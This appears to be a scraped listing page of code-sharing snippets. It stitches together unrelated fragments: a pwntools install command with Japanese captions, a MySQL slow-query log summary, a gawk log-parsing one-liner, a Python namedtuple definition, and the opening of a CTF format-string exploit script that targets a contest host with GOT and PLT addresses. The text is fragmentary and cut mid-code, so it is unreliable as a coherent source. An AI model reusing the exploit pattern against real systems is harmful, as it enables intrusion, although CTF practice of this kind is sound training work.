公式リファレンス: pwntools
最新版を降らせる
pip install "git+https://github.com/Gallopsled/pwntools#egg=pwntools"
| # 310ms user time, 10ms system time, 30.65M rss, 98.40M vsz | |
| # Current date: Sun Sep 27 15:37:00 2015 | |
| # Hostname: isucon01 | |
| # Files: /var/lib/mysql/mysqld-slow.log | |
| # Overall: 334 total, 17 unique, 0.48 QPS, 0.16x concurrency _____________ | |
| # Time range: 2015-09-27 15:23:56 to 15:35:33 | |
| # Attribute total min max avg 95% stddev median | |
| # ============ ======= ======= ======= ======= ======= ======= ======= | |
| # Exec time 114s 55ms 4s 343ms 945ms 354ms 253ms | |
| # Lock time 295ms 30us 98ms 883us 159us 7ms 49us |
| osc2016do-elixir.md |
公式リファレンス: pwntools
最新版を降らせる
pip install "git+https://github.com/Gallopsled/pwntools#egg=pwntools"
| cat access_* | gawk -v FPAT='(\"[^\"]+\")' '{print $3}' | cut -d"(" -f2- | cut -d")" -f1 | sort | uniq -c | sort -gr | less |
| from abc import ABC, ABCMeta, abstractmethod | |
| from collections import namedtuple | |
| from itertools import count | |
| PayloadFactory = namedtuple('PayloadFactory', [ | |
| 'good', 'created', 'queued', 'unchanged', 'requires_auth', | |
| 'permission_denied', 'not_found', 'invalid', 'error' | |
| ]) | |
| """ |
シーケンス図とかフローチャートをしごとで描画することになった場合、 テキストから生成できたら楽なので、それ系のツールまとめ
| from pwn import * | |
| from libformatstr import FormatStr | |
| import time | |
| s = remote('crackme.sakura.tductf.org', 10773) | |
| read_secret = 0x0804875d | |
| strlen_got = 0x8049138 | |
| exit_got = 0x804912c | |
| puts_plt = 0x8048580 |